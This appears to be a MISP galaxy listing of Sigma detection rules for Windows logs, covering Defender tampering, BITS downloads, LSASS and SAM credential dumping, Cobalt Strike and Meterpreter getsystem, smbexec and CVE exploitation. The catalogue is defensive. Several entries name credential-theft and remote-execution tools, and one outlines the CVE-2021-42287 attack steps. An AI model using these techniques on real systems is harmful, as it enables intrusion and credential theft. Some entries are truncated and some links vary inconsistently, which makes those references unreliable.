<tr>
<td><a href="https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3">https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml</a></td>
</tr>
</tbody>
</table>

OpenSSH Server Listening On Socket

Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.

The tag is: `misp-galaxy:sigma-rules="OpenSSH Server Listening On Socket"`

View relationships graph

OpenSSH Server Listening On Socket has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"

Table 8510. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx">https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx</a></td>
</tr>
<tr>
<td><a href="https://winaero.com/enable-openssh-server-windows-10/">https://winaero.com/enable-openssh-server-windows-10/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse">https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml</a></td>
</tr>
</tbody>
</table>

Standard User In High Privileged Group

Detect standard users login that are part of high privileged groups such as the Administrator group

The tag is: misp-galaxy:sigma-rules="Standard User In High Privileged Group"

Table 8511. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Sysinternals Tools AppX Versions Execution

Detects execution of Sysinternals tools via an AppX package. Attackers could install the Sysinternals Suite to get access to tools such as psexec and procdump to avoid detection based on System paths

The tag is: misp-galaxy:sigma-rules="Sysinternals Tools AppX Versions Execution"

Table 8512. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Microsoft Defender Tamper Protection Trigger

Detects blocked attempts to change any of Defender’s settings such as "Real Time Monitoring" and "Behavior Monitoring"

The tag is: misp-galaxy:sigma-rules="Microsoft Defender Tamper Protection Trigger"

View relationships graph

Microsoft Defender Tamper Protection Trigger has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8513. Table References

Links


https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml

Windows Defender Threat Detection Disabled

Detects disabling Windows Defender threat protection

The tag is: misp-galaxy:sigma-rules="Windows Defender Threat Detection Disabled"

View relationships graph

Windows Defender Threat Detection Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8514. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f89c13742bfcf365fee2a9/atomics/T1562.001/T1562.001.md

LSASS Access Detected via Attack Surface Reduction

Detects Access to LSASS Process

The tag is: misp-galaxy: sigma-rules="LSASS Access Detected via Attack Surface Reduction"

View relationships graph

LSASS Access Detected via Attack Surface Reduction has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 8515. Table References

Links


PSExec and WMI Process Creations Block

Detects blocking of process creations originating from PSExec and WMI commands

The tag is: misp-galaxy: sigma-rules="PSExec and WMI Process Creations Block"

View relationships graph

PSExec and WMI Process Creations Block has relationships with:


Table 8516. Table References

Links

- https://twitter.com/duff22b/status/1280166329660497920
Windows Defender Exclusions Added

Detects the Setting of Windows Defender Exclusions

The tag is: `misp-galaxy:sigma-rules=\"Windows Defender Exclusions Added\"`

View relationships graph

Windows Defender Exclusions Added has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern=\"Disable or Modify Tools - T1562.001\"` with
  estimative-language:likelihood-probability="almost-certain"

Table 8517. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/_nullbind/status/1204923340810543109">https://twitter.com/_nullbind/status/1204923340810543109</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exclusions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exclusions.yml</a></td>
</tr>
</tbody>
</table>

Windows Defender Real-Time Protection Failure/Restart

Detects issues with Windows Defender Real-Time Protection features

The tag is: `misp-galaxy:sigma-rules=\"Windows Defender Real-Time Protection Failure/Restart\"`

View relationships graph

Windows Defender Real-Time Protection Failure/Restart has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern=\"Disable or Modify Tools - T1562.001\"` with
  estimative-language:likelihood-probability="almost-certain"

Table 8518. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/nasbench/33732d6705cbdc712fae356f07666346">https://gist.github.com/nasbench/33732d6705cbdc712fae356f07666346</a></td>
</tr>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_real_time_protection_errors.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_real_time_protection_errors.yml</a></td>
</tr>
</tbody>
</table>
Windows Defender Malware Detection History Deletion

Windows Defender logs when the history of detected infections is deleted. Log file will contain the message "Windows Defender Antivirus has removed history of malware and other potentially unwanted software".

The tag is: `misp-galaxy:sigma-rules="Windows Defender Malware Detection History Deletion"`

Table 8519. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml</a></td>
</tr>
</tbody>
</table>

Windows Defender Exploit Guard Tamper

Detects when someone is adding or removing applications or folder from exploit guard "ProtectedFolders" and "AllowedApplications"

The tag is: `misp-galaxy:sigma-rules="Windows Defender Exploit Guard Tamper"`

View relationships graph

Windows Defender Exploit Guard Tamper has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8520. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exploit_guard_tamper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exploit_guard_tamper.yml</a></td>
</tr>
</tbody>
</table>

Windows Defender AMSI Trigger Detected

Detects triggering of AMSI by Windows Defender.

The tag is: `misp-galaxy:sigma-rules="Windows Defender AMSI Trigger Detected"`
View relationships graph

Windows Defender AMSI Trigger Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8521. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_amsi_trigger.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_amsi_trigger.yml</a></td>
</tr>
</tbody>
</table>

Windows Defender Threat Detected

Detects all actions taken by Windows Defender malware detection engines

The tag is: misp-galaxy:sigma-rules="Windows Defender Threat Detected"

View relationships graph

Windows Defender Threat Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8522. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_threat.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_threat.yml</a></td>
</tr>
</tbody>
</table>

Windows Defender Suspicious Configuration Changes

Detects suspicious changes to the Windows Defender configuration

The tag is: misp-galaxy:sigma-rules="Windows Defender Suspicious Configuration Changes"

View relationships graph

Windows Defender Suspicious Configuration Changes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8523. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td>5624</td>
</tr>
</tbody>
</table>
**Win Defender Restored Quarantine File**

Detects the restoration of files from the defender quarantine

The tag is: `misp-galaxy:sigma-rules="Win Defender Restored Quarantine File"`

**View relationships graph**

Win Defender Restored Quarantine File has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 8524. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**BITS Transfer Job Downloading File Potential Suspicious Extension**

Detects new BITS transfer job saving local files with potential suspicious extensions

The tag is: `misp-galaxy:sigma-rules="BITS Transfer Job Downloading File Potential Suspicious Extension"`

**View relationships graph**

BITS Transfer Job Downloading File Potential Suspicious Extension has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

**Table 8525. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
BITS Transfer Job With Uncommon Or Suspicious Remote TLD

Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.

The tag is: `misp-galaxy:sigma-rules="BITS Transfer Job With Uncommon Or Suspicious Remote TLD"`

View relationships graph

BITS Transfer Job With Uncommon Or Suspicious Remote TLD has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

Table 8526. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malmoeb/status/1535142803075960832">https://twitter.com/malmoeb/status/1535142803075960832</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfc3742bfcf365fee2a9/atomics/T1197/T1197.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfc3742bfcf365fee2a9/atomics/T1197/T1197.md</a></td>
</tr>
</tbody>
</table>

BITS Transfer Job Download To Potential Suspicious Folder

Detects new BITS transfer job where the LocalName/Saved file is stored in a potentially suspicious location

The tag is: `misp-galaxy:sigma-rules="BITS Transfer Job Download To Potential Suspicious Folder"`

View relationships graph

BITS Transfer Job Download To Potential Suspicious Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

Table 8527. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malmoeb/status/1535142803075960832">https://twitter.com/malmoeb/status/1535142803075960832</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfc3742bfcf365fee2a9/atomics/T1197/T1197.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfc3742bfcf365fee2a9/atomics/T1197/T1197.md</a></td>
</tr>
</tbody>
</table>
New BITS Job Created Via PowerShell

Detects the creation of a new bits job by PowerShell

The tag is: `misp-galaxy:sigma-rules="New BITS Job Created Via PowerShell"`

View relationships graph

New BITS Job Created Via PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

Table 8528. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfcf365fee2a9/atomics/T1197/T1197.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfcf365fee2a9/atomics/T1197/T1197.md</a></td>
</tr>
</tbody>
</table>

BITS Transfer Job Download From Direct IP

Detects a BITS transfer job downloading file(s) from a direct IP address.

The tag is: `misp-galaxy:sigma-rules="BITS Transfer Job Download From Direct IP"`

View relationships graph

BITS Transfer Job Download From Direct IP has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

Table 8529. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/">https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/</a></td>
</tr>
<tr>
<td><a href="https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin">https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/22264">https://isc.sans.edu/diary/22264</a></td>
</tr>
</tbody>
</table>
New BITS Job Created Via Bitsadmin

Detects the creation of a new bits job by Bitsadmin

The tag is: `misp-galaxy:sigma-rules="New BITS Job Created Via Bitsadmin"`

View relationships graph

New BITS Job Created Via Bitsadmin has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

Table 8530. Table References

Links

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_ip_address.yml

BITS Transfer Job Download From File Sharing Domains

Detects BITS transfer job downloading files from a file sharing domain.

The tag is: `misp-galaxy:sigma-rules="BITS Transfer Job Download From File Sharing Domains"`

View relationships graph

BITS Transfer Job Download From File Sharing Domains has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

Table 8531. Table References

Links

https://twitter.com/malmoeb/status/1535142803075960832


https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcd3742bfcf365fee2a9/atomics/T1197/T1197.md
Certificate Private Key Acquired

Detects when an application acquires a certificate private key

The tag is: misp-galaxy: sigma-rules="Certificate Private Key Acquired"

View relationships graph

Certificate Private Key Acquired has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"

Ngrok Usage with Remote Desktop Service

Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour

The tag is: misp-galaxy: sigma-rules="Ngrok Usage with Remote Desktop Service"

View relationships graph

Ngrok Usage with Remote Desktop Service has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
Failed DNS Zone Transfer

Dectects when a DNS zone transfer failed.

The tag is: *misp-galaxy:sigma-rules="Failed DNS Zone Transfer"

View relationships graph

Failed DNS Zone Transfer has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="DNS - T1590.002" with estimative-language:likelihood-probability="almost-certain"

Table 8534. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_dns_server_failed_dns_zone_transfer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_dns_server_failed_dns_zone_transfer.yml</a></td>
</tr>
</tbody>
</table>

DNS Server Error Failed Loading the ServerLevelPluginDLL

Detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded

The tag is: *misp-galaxy:sigma-rules="DNS Server Error Failed Loading the ServerLevelPluginDLL"

View relationships graph

DNS Server Error Failed Loading the ServerLevelPluginDLL has relationships with:


Table 8535. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/gentilkiwi/status/861641945944391680">https://twitter.com/gentilkiwi/status/861641945944391680</a></td>
</tr>
</tbody>
</table>
Windows Update Error

Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KB aren't installed.

The tag is: *misp-galaxy:sigma-rules="Windows Update Error"*

View relationships graph

Windows Update Error has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584"* with estimative-language:likelihood-probability="almost-certain"

Table 8536. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

SAM Dump to AppData

Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers

The tag is: *misp-galaxy:sigma-rules="SAM Dump to AppData"*

View relationships graph

SAM Dump to AppData has relationships with:


Table 8537. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

QuarksPwDump Clearing Access History

Detects QuarksPwDump clearing access history in hive

The tag is: *misp-galaxy:sigma-rules="QuarksPwDump Clearing Access History"*

View relationships graph

QuarksPwDump Clearing Access History has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002"* with
Potential RDP Exploit CVE-2019-0708

Detect suspicious error on protocol RDP, potential CVE-2019-0708

The tag is: misp-galaxy: sigma-rules="Potential RDP Exploit CVE-2019-0708"

View relationships graph

Potential RDP Exploit CVE-2019-0708 has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language: likelihood-probability="almost-certain"

Volume Shadow Copy Mount

Detects volume shadow copy mount via Windows event log

The tag is: misp-galaxy: sigma-rules="Volume Shadow Copy Mount"

View relationships graph

Volume Shadow Copy Mount has relationships with:

Suspicious Usage of CVE_2021_34484 or CVE 2022_21919

During exploitation of this vulnerability, two logs (Provider_Name:Microsoft-Windows-User Profiles Service) with EventID 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \Users\TEMP is created may be created during the exploitation. Viewed on 2008 Server

The tag is: misp-galaxy:sigma-rules="Suspicious Usage of CVE_2021_34484 or CVE 2022_21919"

Table 8541. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_user_profiles_service/win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_user_profiles_service/win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml</a></td>
</tr>
</tbody>
</table>

NTFS Vulnerability Exploitation

This the exploitation of a NTFS vulnerability as reported without many details via Twitter

The tag is: misp-galaxy:sigma-rules="NTFS Vulnerability Exploitation"

View relationships graph

NTFS Vulnerability Exploitation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Exhaustion Flood - T1499.001" with estimative-language:likelihood-probability="almost-certain"

Table 8542. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/jonasLyk/status/1347900440000811010">https://twitter.com/jonasLyk/status/1347900440000811010</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/wdormann/status/1347958161609809921">https://twitter.com/wdormann/status/1347958161609809921</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/ntfs/win_system_ntfs_vuln_exploit.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/ntfs/win_system_ntfs_vuln_exploit.yml</a></td>
</tr>
</tbody>
</table>

Local Privilege Escalation Indicator TabTip

Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode
Local Privilege Escalation Indicator TabTip has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

### NTLMv1 Logon Between Client and Server

Detects the reporting of NTLMv1 being used between a client and server. NTLMv1 is insecure as the underlying encryption algorithms can be brute-forced by modern hardware.

The tag is: misp-galaxy: sigma-rules="NTLMv1 Logon Between Client and Server"

### Potential CVE-2021-42287 Exploitation Attempt

The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.

The tag is: misp-galaxy: sigma-rules="Potential CVE-2021-42287 Exploitation Attempt"
Potential CVE-2021-42287 Exploitation Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 8545. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/">https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/</a></td>
</tr>
</tbody>
</table>

smbexec.py Service Installation

Detects the use of smbexec.py tool by detecting a specific service installation

The tag is: misp-galaxy:sigma-rules="smbexec.py Service Installation"

View relationships graph

smbexec.py Service Installation has relationships with:


Table 8546. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/fortra/impacket/blob/edef71f17bc1240f9f8c957bbda98662951ac3ec/examples/smbexec.py#L60">https://github.com/fortra/impacket/blob/edef71f17bc1240f9f8c957bbda98662951ac3ec/examples/smbexec.py#L60</a></td>
</tr>
<tr>
<td><a href="https://github.com/fortra/impacket/blob/33058eb2fde6976ea62e04bc7d6b629d64d44712/examples/smbexec.py#L286-L296">https://github.com/fortra/impacket/blob/33058eb2fde6976ea62e04bc7d6b629d64d44712/examples/smbexec.py#L286-L296</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_hack_smbexec.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_hack_smbexec.yml</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation Via Stdin - System

Detects Obfuscated Powershell via Stdin in Scripts

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Via Stdin - System"

View relationships graph

Invoke-Obfuscation Via Stdin - System has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 8547. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_stdin_services.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_stdin_services.yml</a></td>
</tr>
</tbody>
</table>

**Meterpreter or Cobalt Strike Getsystem Service Installation - System**

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation

The tag is: *misp-galaxy:sigma-rules="Meterpreter or Cobalt Strike Getsystem Service Installation - System"*

View relationships graph

Meterpreter or Cobalt Strike Getsystem Service Installation - System has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

Table 8548. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/">https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml</a></td>
</tr>
</tbody>
</table>

**New Service Uses Double Ampersand in Path**

Detects a service installation that uses a suspicious double ampersand used in the image path value

The tag is: *misp-galaxy:sigma-rules="New Service Uses Double Ampersand in Path"*

View relationships graph

New Service Uses Double Ampersand in Path has relationships with:
Remote Access Tool Services Have Been Installed - System

Detects service installation of different remote access tools software. These software are often abused by threat actors to perform

The tag is: misp-galaxy:sigma-rules="Remote Access Tool Services Have Been Installed - System"

View relationships graph

Remote Access Tool Services Have Been Installed - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Anydesk Remote Access Software Service Installation

Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn’t already used.

The tag is: misp-galaxy:sigma-rules="Anydesk Remote Access Software Service Installation"
Important Windows Service Terminated Unexpectedly

Detects important or interesting Windows services that got terminated unexpectedly.

The tag is: `misp-galaxy:sigma-rules="Important Windows Service Terminated Unexpectedly"`

Table 8552. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.randori.com/blog/vulnerability-analysis-queuejumper-cve-2023-21554/">https://www.randori.com/blog/vulnerability-analysis-queuejumper-cve-2023-21554/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_unexpectedly.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_unexpectedly.yml</a></td>
</tr>
</tbody>
</table>

New PDQDeploy Service - Client Side

Detects PDQDeploy service installation on the target system. When a package is deployed via PDQDeploy it installs a remote service on the target machine with the name "PDQDeployRunner-X" where "X" is an integer starting from 1

The tag is: `misp-galaxy:sigma-rules="New PDQDeploy Service - Client Side"`

View relationships graph

New PDQDeploy Service - Client Side has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 8553. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm">https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pdqdeploy_runner.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pdqdeploy_runner.yml</a></td>
</tr>
</tbody>
</table>

RemCom Service Installation

Detects RemCom service installation and execution events

The tag is: `misp-galaxy:sigma-rules="RemCom Service Installation"`

View relationships graph

RemCom Service Installation has relationships with:

PAExec Service Installation

Detects PAExec service installation

The tag is: `misp-galaxy:sigma-rules="PAExec Service Installation"`

View relationships graph

PAExec Service Installation has relationships with:


Invoke-Obfuscation RUNDLL LAUNCHER - System

Detects Obfuscated Powershell via RUNDLL LAUNCHER

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation RUNDLL LAUNCHER - System"`

View relationships graph

Invoke-Obfuscation RUNDLL LAUNCHER - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
**Invoke-Obfuscation Via Use Rundll32 - System**

Detects Obfuscated Powershell via use Rundll32 in Scripts

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Rundll32 - System"`

View relationships graph

Invoke-Obfuscation Via Use Rundll32 - System has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

*Table 8557. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_use_rundll32_services.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_use_rundll32_services.yml</a></td>
</tr>
</tbody>
</table>

**Service Installed By Unusual Client - System**

Detects a service installed by a client which has PID 0 or whose parent has PID 0

The tag is: `misp-galaxy:sigma-rules="Service Installed By Unusual Client - System"`

View relationships graph

Service Installed By Unusual Client - System has relationships with:

